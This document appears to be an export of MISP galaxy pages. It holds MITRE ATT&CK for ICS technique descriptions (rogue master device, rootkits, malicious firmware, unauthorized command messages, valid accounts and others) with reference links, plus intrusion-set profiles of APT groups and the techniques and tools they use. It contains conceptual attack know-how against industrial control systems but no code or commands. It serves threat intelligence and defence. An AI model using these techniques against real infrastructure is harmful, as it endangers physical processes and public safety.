https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/
https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/
https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298
https://www.bbc.com/news/technology-36158606
https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/
https://support.symantec.com/us/en/article.tech93179.html
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Rogue Master Device

Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.

The tag is: *misp-galaxy:mitre-ics-techniques="Rogue Master Device"*

Table 4970. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Role Identification

Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device.

The tag is: *misp-galaxy:mitre-ics-techniques="Role Identification"*

Table 4971. Table References

Links
Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.[Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.]
https://www.f-secure.com/weblog/archives/00002718.html
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Rootkit

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

The tag is: *misp-galaxy:mitre-ics-techniques="Rootkit"*

Table 4972. Table References

Links
https://attack.mitre.org/wiki/Technique/T1014
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Screen Capture

Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Screen Capture"*

Table 4973. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://dragos.com/resource/allanite/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/security-center/writeup/2017-030708-4403-99

Scripting

Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.

The tag is: *misp-galaxy:mitre-ics-techniques="Scripting"*

Table 4974. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://dragos.com/resource/magnallium/
https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms
https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Serial Connection Enumeration

Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.

The tag is: *misp-galaxy:mitre-ics-techniques="Serial Connection Enumeration"*

Table 4975. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.

The tag is: *misp-galaxy:mitre-ics-techniques="Service Stop"*

Table 4976. Table References

Links
https://attack.mitre.org/techniques/T1489/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/

Spearphishing Attachment

Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.

The tag is: *misp-galaxy:mitre-ics-techniques="Spearphishing Attachment"*

Table 4977. Table References

Links
https://attack.mitre.org/techniques/T1193/
https://www.eisac.com/public-news-detail?id=115909
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.wired.com/story/iran-hackers-us-phishing-tensions/

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf
https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://dragos.com/resource/hexane/
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.f-secure.com/weblog/archives/00002718.html
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

Standard Application Layer Protocol

Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Standard Application Layer Protocol"*

Table 4978. Table References

Links
https://dragos.com/resource/hexane/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Supply Chain Compromise

Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).

The tag is: *misp-galaxy:mitre-ics-techniques="Supply Chain Compromise"*

Table 4979. Table References

Links
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf
https://www.f-secure.com/weblog/archives/00002718.html

System Firmware

System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.

The tag is: *misp-galaxy:mitre-ics-techniques="System Firmware"*

Table 4980. Table References

Links
http://www.sciencedirect.com/science/article/pii/S1874548213000231
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Theft of Operational Information

Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data.

The tag is: *misp-galaxy:mitre-ics-techniques="Theft of Operational Information"*

Table 4981. Table References

Links
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf
https://www.symantec.com/security-center/writeup/2012-052811-0308-99

Unauthorized Command Message

Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Unauthorized Command Message"*

Table 4982. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

User Execution

Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software

The tag is: *misp-galaxy:mitre-ics-techniques="User Execution"*

Table 4983. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.f-secure.com/weblog/archives/00002718.html
https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939
https://securelist.com/bad-rabbit-ransomware/82851/

Utilize/Change Operating Mode

Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses.

The tag is: *misp-galaxy:mitre-ics-techniques="Utilize/Change Operating Mode"*

Table 4984. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Valid Accounts

Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications.2 The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Valid Accounts"*

Table 4985. Table References

Links
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://dragos.com/resource/allanite/
https://dragos.com/resource/dymalloy/
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://dragos.com/resource/chrysene/
https://dragos.com/resource/electrum/
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Wireless Compromise

Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device.12 Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective.3 The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram's network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals

The tag is: *misp-galaxy:mitre-ics-techniques="Wireless Compromise"*

Table 4986. Table References

Links
https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf
https://www.slideshare.net/dgpeters/17-bolshev-1-13
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html

Intrusion Set

Name of ATT&CK Group.

Intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Ajax Security Team - G0130

[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)

The tag is: *misp-galaxy:mitre-intrusion-set="Ajax Security Team - G0130"*

Ajax Security Team - G0130 is also known as:

- Ajax Security Team
- Operation Woolen-Goldfish
- AjaxTM
- Rocket Kitten
- Flying Kitten
- Operation Saffron Rose

View relationships graph

Ajax Security Team - G0130 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="sqlmap - S0225" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Havij - S0224" with estimative-language:likelihood-probability="almost-certain"

Table 4987. Table References

Links
https://attack.mitre.org/groups/G0130
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf
https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/

https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf

The White Company - G0089

[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="The White Company - G0089"*

The White Company - G0089 is also known as:

- The White Company

View relationships graph

The White Company - G0089 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Revenge RAT - S0379" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 4988. Table References

Links
https://attack.mitre.org/groups/G0089

https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

Threat Group-3390 - G0027

[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027"*

Threat Group-3390 - G0027 is also known as:

- Threat Group-3390
- Earth Smilodon
- TG-3390
- Emissary Panda
- BRONZE UNION
- APT27
- Iron Tiger
- LuckyMouse

View relationships graph

Threat Group-3390 - G0027 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RCSession - S0662" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HyperBro - S0398" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Clambling - S0660" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT27" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pandora - S0664" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
